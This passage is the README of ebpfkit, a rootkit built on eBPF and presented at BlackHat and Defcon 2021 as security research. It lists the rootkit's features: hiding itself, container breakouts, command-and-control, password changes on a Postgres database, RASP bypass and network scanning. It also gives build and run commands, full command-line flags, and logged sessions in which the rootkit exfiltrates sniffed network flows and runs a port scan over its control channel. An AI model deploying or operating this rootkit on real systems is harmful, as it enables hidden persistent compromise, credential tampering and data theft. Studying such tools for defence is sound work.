Ebpfkit
ebpfkit is a rootkit powered by eBPF
Install / Use
/learn @Gui774ume/EbpfkitREADME
ebpfkit
ebpfkit is a rootkit that leverages multiple eBPF features to implement offensive security techniques. We implemented most of the features you would expect from a rootkit: obfuscation techniques, container breakouts, persistent access, command and control, pivoting, network scanning, Runtime Application Self-Protection (RASP) bypass, etc.
This rootkit was presented at BlackHat USA 2021: With Friends Like eBPF, Who Needs Enemies? and Defcon 29: eBPF, I thought we were friends !. While we presented our container breakouts at BlackHat, you'll want to check out our Defcon talk to see a demo of the network scanner and the RASP bypass. Slides and recordings of the talks will be available soon.
Disclaimer
This project is not an official Datadog product (experimental or otherwise), it is just code that happens to be developed by Datadog employees as part of an independent security research project. The rootkit herein is provided for educational purposes only and for those who are willing and curious to learn about ethical hacking, security and penetration testing with eBPF.
Do not attempt to use these tools to violate the law. The author is not responsible for any illegal action. Misuse of the provided information can result in criminal charges.
System requirements
- golang 1.13+
- This project was developed on an Ubuntu Focal machine (Linux Kernel 5.4)
- Kernel headers are expected to be installed in
lib/modules/$(uname -r)(seeMakefile) - clang & llvm (11.0.1)
- Graphviz (to generate graphs)
- go-bindata (
go get -u github.com/shuLhan/go-bindata/...)
Build
- To build the entire project, run:
# ~ make
- To install
ebpfkit-client(copiesebpfkit-clientto/usr/bin/), run:
# ~ make install_client
Getting started
ebpfkit contains the entire rootkit. It needs to run as root. Run sudo ./bin/ebpfkit -h to get help. You can simply run sudo ./bin/ebpfkit to start the rootkit with default parameters.
# ~ sudo ./bin/ebpfkit -h
Usage:
ebpfkit [flags]
Flags:
--append (file override feature only) when set, the content of the source file will be appended to the content of the target file
--comm string (file override feature only) comm of the process for which the file override should apply
--disable-bpf-obfuscation when set, ebpfkit will not hide itself from the bpf syscall
--disable-network-probes when set, ebpfkit will not try to load its network related probes
--docker string path to the Docker daemon executable (default "/usr/bin/dockerd")
-e, --egress string egress interface name (default "enp0s3")
-h, --help help for ebpfkit
-i, --ingress string ingress interface name (default "enp0s3")
-l, --log-level string log level, options: panic, fatal, error, warn, info, debug or trace (default "info")
--postgres string path to the Postgres daemon executable (default "/usr/lib/postgresql/12/bin/postgres")
--src string (file override feature only) source file which content will be used to override the content of the target file
--target string (file override feature only) target file to override
-p, --target-http-server-port int Target HTTP server port used for Command and Control (default 8000)
--webapp-rasp string path to the webapp on which the RASP is installed
# ~ sudo ./bin/ebpfkit
In order to use the client, you'll need to have an HTTP server to enable the Command and Control feature of the rootkit. We provide a simple webapp that you can start by running ./bin/webapp. Run ./bin/webapp -h to get help.
# ~ ./bin/webapp -h
Usage of ./bin/webapp:
-ip string
ip on which to bind (default "0.0.0.0")
-port int
port to use for the HTTP server (default 8000)
# ~ ./bin/webapp
Once both ebpfkit and the webapp are running, you can start using ebpfkit-client. Run ebpfkit-client -h to get help.
# ~ ebpfkit-client -h
Usage:
ebpfkit-client [command]
Available Commands:
docker Docker image override configuration
fs_watch file system watches
help Help about any command
network_discovery network discovery configuration
pipe_prog piped programs configuration
postgres postgresql authentication control
Flags:
-h, --help help for ebpfkit-client
-l, --log-level string log level, options: panic, fatal, error, warn, info, debug or trace (default "info")
-t, --target string target application URL (default "http://localhost:8000")
Use "ebpfkit-client [command] --help" for more information about a command.
Examples
This section contains only 3 examples. We invite you to watch our BlackHat USA 2021 and Defcon 29 talks to see a demo of all the features of the rootkit. For example, you'll see how you can use Command and Control to change the passwords of a Postgresql database at runtime, or how we successfully hid the rootkit on the host. We also demonstrate 2 container breakouts during our BlackHat talk, and a RASP bypass during our Defcon talk.
Exfiltrate passive network sniffing data
On startup, by default, the rookit will start listening passively for all the network connections made to and from the infected host. You can periodically poll that data using the network_discovery command of ebpfkit-client. It may take a while to extract everything so be patient ...
# ~ ebpfkit-client -l debug network_discovery get
DEBUG[2021-08-04T10:10:46Z]
GET /get_net_dis HTTP/1.1
Host: localhost:8000
User-Agent: 0000________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
DEBUG[2021-08-04T10:10:46Z]
GET /get_fswatch HTTP/1.1
Host: localhost:8000
User-Agent: 0/ebpfkit/network_discovery#________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
DEBUG[2021-08-04T10:10:46Z]
GET /get_net_dis HTTP/1.1
Host: localhost:8000
User-Agent: 0015________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
[...]
INFO[2021-08-04T10:10:57Z] Dumping collected network flows (358):
10.0.2.2:52615 -> 10.0.2.15:8000 (1) UDP 0B TCP 2461B
10.0.2.15:8000 -> 10.0.2.2:52615 (2) UDP 0B TCP 833B
10.0.2.15:0 -> 10.0.2.3:0 (3) UDP 0B TCP 0B
10.0.2.3:0 -> 10.0.2.15:0 (4) UDP 0B TCP 0B
10.0.2.15:22 -> 10.0.2.2:51653 (2) UDP 0B TCP 17120B
10.0.2.2:51653 -> 10.0.2.15:22 (1) UDP 0B TCP 13068B
10.0.2.15:48308 -> 3.233.147.212:443 (2) UDP 0B TCP 532255B
[...]
51.15.175.180:123 -> 10.0.2.15:36389 (1) UDP 76B TCP 0B
10.0.2.15:38116 -> 169.254.172.1:51678 (2) UDP 0B TCP 60B
10.0.2.15:38120 -> 169.254.172.1:51678 (2) UDP 0B TCP 60B
127.0.0.1:41900 -> 127.0.0.1:8000 (2) UDP 0B TCP 53525B
127.0.0.1:41900 -> 127.0.0.1:8000 (1) UDP 0B TCP 53525B
127.0.0.1:8000 -> 127.0.0.1:41900 (2) UDP 0B TCP 38518B
127.0.0.1:8000 -> 127.0.0.1:41900 (1) UDP 0B TCP 38518B
INFO[2021-08-04T10:10:58Z] Graph generated: /tmp/network-discovery-graph-453667534
The final step is to generate the svg file. We used the fdp layout of Graphviz.
# ~ fdp -Tsvg /tmp/network-discovery-graph-453667534 > ./graphs/passive_network_discovery.svg
Run a port scan on 10.0.2.3, from port 7990 to 8010
Note: for this feature to work, you cannot run
ebpfkit-clientlocally. If you're running the rootkit in a guest VM, expose the webapp port (default 8000) of the guest VM to the host and make theebpfkit-clientrequest from the host.
To request a port scan, use the network_discovery command. You can specify the target IP, start port and port range.
# ~ ebpfkit-client -l debug network_discovery scan --ip 10.0.2.3 --port 7990 --range 20
DEBUG[2021-08-04T11:59:46Z]
GET /get_net_sca HTTP/1.1
Host: localhost:8000
User-
